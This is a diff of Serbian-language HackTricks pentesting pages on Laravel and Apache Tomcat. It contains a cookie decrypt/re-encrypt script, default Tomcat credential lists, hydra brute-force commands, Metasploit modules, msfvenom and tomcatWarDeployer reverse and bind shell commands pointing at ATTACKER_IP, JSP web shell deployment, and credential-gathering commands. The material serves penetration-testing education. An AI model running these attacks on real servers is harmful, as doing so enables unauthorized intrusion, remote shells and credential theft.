* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,22 +1,25 @@
# Laravel # Laravel
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Laravel Trikovi ## Laravel Tricks
### Režim za otklanjanje grešaka ### Debugging mode
Ako je Laravel u **režimu za otklanjanje grešaka** moći ćete pristupiti **kodu** i **osetljivim podacima**.\ Ako je Laravel u **debugging mode**, moći ćete da pristupite **kod** i **osetljivim podacima**.\
Na primer `http://127.0.0.1:8000/profiles`: Na primer `http://127.0.0.1:8000/profiles`:
![](<../../.gitbook/assets/image (1046).png>) ![](<../../.gitbook/assets/image (1046).png>)
@ -25,13 +28,13 @@ Ovo je obično potrebno za iskorišćavanje drugih Laravel RCE CVE-ova.
### .env ### .env
Laravel čuva APP koji koristi za šifrovanje kolačića i drugih akreditacija unutar fajla nazvanog `.env` koji se može pristupiti korišćenjem putanje prolaza ispod: `/../.env` Laravel čuva APP koju koristi za enkripciju kolačića i drugih akreditiva unutar datoteke pod nazivom `.env` koja se može pristupiti koristeći neku putanju za prolaz pod: `/../.env`
Laravel će takođe prikazati ove informacije unutar stranice za otklanjanje grešaka (koja se pojavi kada Laravel pronađe grešku i aktivira je). Laravel će takođe prikazati ove informacije unutar debug stranice (koja se pojavljuje kada Laravel pronađe grešku i aktivira se).
Korišćenjem tajnog APP\_KEY od Laravel-a možete dešifrovati i ponovo šifrovati kolačiće: Koristeći tajni APP\_KEY Laravel-a možete dekriptovati i ponovo enkriptovati kolačiće:
### Dešifrovanje Kolačića ### Decrypt Cookie
```python ```python
import os import os
import json import json
@ -92,17 +95,32 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
``` ```
### Laravel Deserialization RCE ### Laravel Deserialization RCE
Vulnerable versions: 5.5.40 и 5.6.x до 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) Ranljive verzije: 5.5.40 i 5.6.x do 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Ovde možete pronaći informacije o ranjivosti dekripcije ovde: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) Ovde možete pronaći informacije o ranjivosti deserializacije: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Možete testirati i iskoristiti je koristeći [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ Možete je testirati i iskoristiti koristeći [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Ili je takođe moguće iskoristiti pomoću metasploita: `use unix/http/laravel_token_unserialize_exec` Ili je takođe možete iskoristiti sa metasploit-om: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129 ### CVE-2021-3129
Još jedna dekripcija: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) Još jedna deserializacija: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
### Laravel SQLInjection ### Laravel SQLInjection
Pročitajte informacije o ovome ovde: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) Pročitajte informacije o ovome ovde: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Томкат # Tomcat
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Научите хаковање AWS од нуле до хероја са</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Да ли радите у **компанији за кибер безбедност**? Желите ли да видите **вашу компанију рекламирану на HackTricks**? или желите приступ **најновијој верзији PEASS или преузимање HackTricks у PDF-у**? Проверите [**ПЛАНОВЕ ПРЕТПЛАТЕ**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Откријте [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцију ексклузивних [**NFT-ова**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Набавите [**званични PEASS & HackTricks сувенир**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Придружите се** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord групи**](https://discord.gg/hRep4RUj7f) или [**телеграм групи**](https://t.me/peass) или **пратите** ме на **Твитеру** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поделите своје хакерске трикове подношењем PR-ова** [**hacktricks репозиторијуму**](https://github.com/carlospolop/hacktricks) **и** [**hacktricks-cloud репозиторијуму**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -20,34 +23,36 @@
*** ***
## Откривање ## Otkrivanje
* Обично се извршава на **порту 8080** * Obično radi na **portu 8080**
* **Уобичајена грешка Томката:** * **Uobičajena greška Tomcat-a:**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
## Набрањивање ## Enumeracija
### **Идентификација верзије** ### **Identifikacija verzije**
Да бисте пронашли верзију Apache Tomcat-a, може се извршити једноставна команда: Da biste pronašli verziju Apache Tomcat-a, može se izvršiti jednostavna komanda:
```bash ```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
``` ```
### **Lokacija Datoteka Menadžera** Ovo će pretražiti termin "Tomcat" na stranici indeksa dokumentacije, otkrivajući verziju u naslovnom tagu HTML odgovora.
Identifikacija tačnih lokacija **`/manager`** i **`/host-manager`** direktorijuma je ključna jer se njihova imena mogu promeniti. Preporučuje se grubo pretraživanje kako bi se locirale ove stranice. ### **Lokacija menadžerskih fajlova**
### **Enumeracija Korisničkih Imena** Identifikacija tačnih lokacija **`/manager`** i **`/host-manager`** direktorijuma je ključna jer njihova imena mogu biti izmenjena. Preporučuje se brute-force pretraga za lociranje ovih stranica.
Za Tomcat verzije starije od 6, moguće je enumerisati korisnička imena kroz: ### **Enumeracija korisničkih imena**
Za Tomcat verzije starije od 6, moguće je enumerisati korisnička imena putem:
```bash ```bash
msf> use auxiliary/scanner/http/tomcat_enum msf> use auxiliary/scanner/http/tomcat_enum
``` ```
### **Podrazumevane akreditacije** ### **Podrazumevajući Akreditivi**
Direktorijum **`/manager/html`** je posebno osetljiv jer omogućava otpremanje i implementaciju WAR datoteka, što može dovesti do izvršenja koda. Ovaj direktorijum je zaštićen osnovnom HTTP autentifikacijom, a česte akreditacije su: Direktorijum **`/manager/html`** je posebno osetljiv jer omogućava upload i implementaciju WAR fajlova, što može dovesti do izvršavanja koda. Ovaj direktorijum je zaštićen osnovnom HTTP autentifikacijom, a uobičajeni akreditivi su:
* admin:admin * admin:admin
* tomcat:tomcat * tomcat:tomcat
@ -56,33 +61,35 @@ Direktorijum **`/manager/html`** je posebno osetljiv jer omogućava otpremanje i
* tomcat:s3cr3t * tomcat:s3cr3t
* admin:tomcat * admin:tomcat
Ove akreditacije mogu biti testirane korišćenjem: Ovi akreditivi se mogu testirati koristeći:
```bash ```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login msf> use auxiliary/scanner/http/tomcat_mgr_login
``` ```
Drugi značajan direktorijum je **`/manager/status`**, koji prikazuje verziju Tomcat-a i OS-a, pomažući u identifikaciji ranjivosti. Još jedan značajan direktorijum je **`/manager/status`**, koji prikazuje verziju Tomcat-a i operativnog sistema, pomažući u identifikaciji ranjivosti.
### **Napad grubom silom** ### **Brute Force Attack**
Za pokušaj napada grubom silom na direktorijum manager, može se koristiti: Da bi se pokušao brute force napad na direktorijum menadžera, može se koristiti:
```bash ```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
``` ```
## Uobičajene ranjivosti Along with setting various parameters in Metasploit to target a specific host.
### **Otkrivanje lozinke putem praćenja tragova** ## Common Vulnerabilities
Pristupanje `/auth.jsp` može otkriti lozinku putem praćenja tragova u povoljnim okolnostima. ### **Password Backtrace Disclosure**
### **Dvostruko kodiranje URL adrese** Pristup `/auth.jsp` može otkriti lozinku u backtrace-u pod srećnim okolnostima.
Ranjivost CVE-2007-1860 u `mod_jk` omogućava dvostruko kodiranje URL adrese za prolazak kroz putanju, omogućavajući neovlašćen pristup upravljačkom interfejsu putem posebno oblikovane URL adrese. ### **Double URL Encoding**
Da biste pristupili upravljačkom vebu Tomcata, idite na: `pathTomcat/%252E%252E/manager/html` CVE-2007-1860 ranjivost u `mod_jk` omogućava dvostruko URL kodiranje putanje, omogućavajući neovlašćen pristup upravljačkom interfejsu putem posebno kreirane URL adrese.
### /primeri Da biste pristupili upravljačkom web-u Tomcat-a, idite na: `pathTomcat/%252E%252E/manager/html`
Apache Tomcat verzije 4.x do 7.x uključuju primere skripti koji su podložni otkrivanju informacija i napadima preko skripti sa preusmeravanjem preko stranica (XSS). Ove skripte, navedene detaljno, treba proveriti radi neovlašćenog pristupa i potencijalne eksploatacije. Pronađite [više informacija ovde](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) ### /examples
Apache Tomcat verzije 4.x do 7.x uključuju primer skripti koje su podložne otkrivanju informacija i napadima skriptovanja između sajtova (XSS). Ove skripte, navedene sveobuhvatno, treba proveriti na neovlašćen pristup i potencijalnu eksploataciju. Pronađite [više informacija ovde](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp * /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp * /examples/jsp/dates/date.jsp
@ -107,21 +114,21 @@ Apache Tomcat verzije 4.x do 7.x uključuju primere skripti koji su podložni ot
* /examples/servlet/SessionExample * /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp * /tomcat-docs/appdev/sample/web/hello.jsp
### **Eksploatacija prolaska kroz putanju** ### **Path Traversal Exploit**
U nekim [**ranjivim konfiguracijama Tomcata**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) možete dobiti pristup zaštićenim direktorijumima u Tomcatu koristeći putanju: `/..;/` U nekim [**ranjivim konfiguracijama Tomcat-a**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) možete dobiti pristup zaštićenim direktorijumima u Tomcat-u koristeći putanju: `/..;/`
Na primer, možda ćete moći **pristupiti stranici upravljača Tomcata** pristupanjem: `www.vulnerable.com/lalala/..;/manager/html` Dakle, na primer, možda ćete moći da **pristupite Tomcat menadžeru** stranici pristupom: `www.vulnerable.com/lalala/..;/manager/html`
**Još jedan način** za zaobilaženje zaštićenih putanja korišćenjem ovog trika je pristup `http://www.vulnerable.com/;param=value/manager/html` **Drugi način** da zaobiđete zaštićene putanje koristeći ovu trik je pristup `http://www.vulnerable.com/;param=value/manager/html`
## RCE ## RCE
Na kraju, ako imate pristup Upravljaču veb aplikacija Tomcata, možete **učitati i implementirati .war datoteku (izvršiti kod)**. Na kraju, ako imate pristup Tomcat Web Application Manager-u, možete **otpremiti i implementirati .war datoteku (izvršiti kod)**.
### Ograničenja ### Limitations
Moći ćete implementirati WAR datoteku samo ako imate **dovoljno privilegija** (uloge: **admin**, **manager** i **manager-script**). Te detalje možete pronaći u _tomcat-users.xml_ obično definisane u `/usr/share/tomcat9/etc/tomcat-users.xml` (varira između verzija) (vidi [POST ](tomcat.md#post) odeljak). Možete implementirati WAR samo ako imate **dovoljna prava** (uloge: **admin**, **manager** i **manager-script**). Ti detalji se obično nalaze u _tomcat-users.xml_ definisanom u `/usr/share/tomcat9/etc/tomcat-users.xml` (varira između verzija) (vidi [POST ](tomcat.md#post)section).
```bash ```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -142,26 +149,24 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
``` ```
### MSFVenom Reverse Shell ### MSFVenom Reverse Shell
1. Napravite rat za implementaciju: 1. Kreirajte war za implementaciju:
```bash ```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
``` ```
2. Postavite fajl `revshell.war` i pristupite mu (`/revshell/`): 2. Učitajte `revshell.war` datoteku i pristupite joj (`/revshell/`):
### Bind i reverzibilna ljuska sa [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) ### Bind i reverse shell sa [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
U nekim scenarijima ovo ne radi (na primer, starije verzije sun-a) U nekim scenarijima ovo ne funkcioniše (na primer, stare verzije sun)
#### Preuzimanje #### Preuzmi
```bash ```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git git clone https://github.com/mgeeky/tomcatWarDeployer.git
``` ```
#### Obrnuti shell #### Obrnuta ljuska
```bash ```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/ ./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
``` ```
#### Bind shell
#### Bind shell #### Bind shell
```bash ```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/ ./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
@ -170,7 +175,7 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
```bash ```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
``` ```
### Ručni metod - Veb šel ### Manual method - Web shell
Kreirajte **index.jsp** sa ovim [sadržajem](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp): Kreirajte **index.jsp** sa ovim [sadržajem](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java ```java
@ -203,9 +208,11 @@ jar -cvf ../webshell.war *
webshell.war is created webshell.war is created
# Upload it # Upload it
``` ```
### Ručni metod 2 Možete takođe instalirati ovo (omogućava upload, download i izvršavanje komandi): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
Preuzmite JSP web ljusku poput [ove](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i kreirajte WAR fajl: ### Manual Method 2
Preuzmite JSP web shell kao [ovaj](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i kreirajte WAR datoteku:
```bash ```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp zip -r backup.war cmd.jsp
@ -218,12 +225,12 @@ Ime datoteke sa Tomcat kredencijalima je _tomcat-users.xml_
```bash ```bash
find / -name tomcat-users.xml 2>/dev/null find / -name tomcat-users.xml 2>/dev/null
``` ```
Drugi načini za prikupljanje Tomcat akreditacija: Drugi načini za prikupljanje Tomcat kredencijala:
```bash ```bash
msf> use post/multi/gather/tomcat_gather msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat msf> use post/windows/gather/enum_tomcat
``` ```
## Ostali alati za skeniranje Tomcat-a ## Ostali alati za skeniranje tomcat-a
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner) * [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
@ -238,14 +245,17 @@ msf> use post/windows/gather/enum_tomcat
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Tomcat # Tomcat
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -20,14 +23,14 @@
*** ***
## Otkriće ## Discovery
* Obično se pokreće na **portu 8080** * Obično se pokreće na **portu 8080**
* **Uobičajena Tomcat greška:** * **Uobičajena greška Tomcat-a:**
<figure><img src="../../../.gitbook/assets/image (150).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (150).png" alt=""><figcaption></figcaption></figure>
## Enumeracija ## Enumeration
### **Identifikacija verzije** ### **Identifikacija verzije**
@ -35,19 +38,21 @@ Da biste pronašli verziju Apache Tomcat-a, može se izvršiti jednostavna koman
```bash ```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
``` ```
### **Lokacija Datoteka Menadžera** Ovo će pretražiti termin "Tomcat" na stranici indeksa dokumentacije, otkrivajući verziju u naslovnom tagu HTML odgovora.
Identifikacija tačnih lokacija **`/manager`** i **`/host-manager`** direktorijuma je ključna jer se njihova imena mogu promeniti. Preporučuje se grubo pretraživanje kako bi se locirale ove stranice. ### **Lokacija menadžerskih fajlova**
### **Enumeracija Korisničkih Imena** Identifikacija tačnih lokacija **`/manager`** i **`/host-manager`** direktorijuma je ključna jer njihova imena mogu biti izmenjena. Preporučuje se brute-force pretraga za lociranje ovih stranica.
Za Tomcat verzije starije od 6, moguće je enumerisati korisnička imena kroz: ### **Enumeracija korisničkih imena**
Za Tomcat verzije starije od 6, moguće je enumerisati korisnička imena putem:
```bash ```bash
msf> use auxiliary/scanner/http/tomcat_enum msf> use auxiliary/scanner/http/tomcat_enum
``` ```
### **Podrazumevani pristupni podaci** ### **Podrazumevajući Akreditivi**
Direktorijum **`/manager/html`** je posebno osetljiv jer omogućava otpremanje i implementaciju WAR fajlova, što može dovesti do izvršenja koda. Ovaj direktorijum je zaštićen osnovnom HTTP autentifikacijom, a česti pristupni podaci su: Direktorijum **`/manager/html`** je posebno osetljiv jer omogućava upload i implementaciju WAR fajlova, što može dovesti do izvršavanja koda. Ovaj direktorijum je zaštićen osnovnom HTTP autentifikacijom, a uobičajeni akreditivi su:
* admin:admin * admin:admin
* tomcat:tomcat * tomcat:tomcat
@ -56,33 +61,35 @@ Direktorijum **`/manager/html`** je posebno osetljiv jer omogućava otpremanje i
* tomcat:s3cr3t * tomcat:s3cr3t
* admin:tomcat * admin:tomcat
Ove pristupne podatke možete testirati korišćenjem: Ovi akreditivi se mogu testirati koristeći:
```bash ```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login msf> use auxiliary/scanner/http/tomcat_mgr_login
``` ```
Još jedan značajan direktorijum je **`/manager/status`**, koji prikazuje verziju Tomcat-a i operativnog sistema, pomažući u identifikaciji ranjivosti. Još jedan značajan direktorijum je **`/manager/status`**, koji prikazuje verziju Tomcat-a i operativnog sistema, pomažući u identifikaciji ranjivosti.
### **Napad grubom silom** ### **Brute Force Attack**
Za pokušaj napada grubom silom na direktorijum menadžera, može se koristiti: Da bi se pokušao brute force napad na direktorijum menadžera, može se koristiti:
```bash ```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
``` ```
## Uobičajene ranjivosti Along with setting various parameters in Metasploit to target a specific host.
### **Otkrivanje lozinke putem praćenja tragova** ## Common Vulnerabilities
Pristupanje `/auth.jsp` može otkriti lozinku putem praćenja tragova u povoljnim okolnostima. ### **Password Backtrace Disclosure**
### **Dvostruko kodiranje URL adrese** Pristupanje `/auth.jsp` može otkriti lozinku u backtrace-u pod srećnim okolnostima.
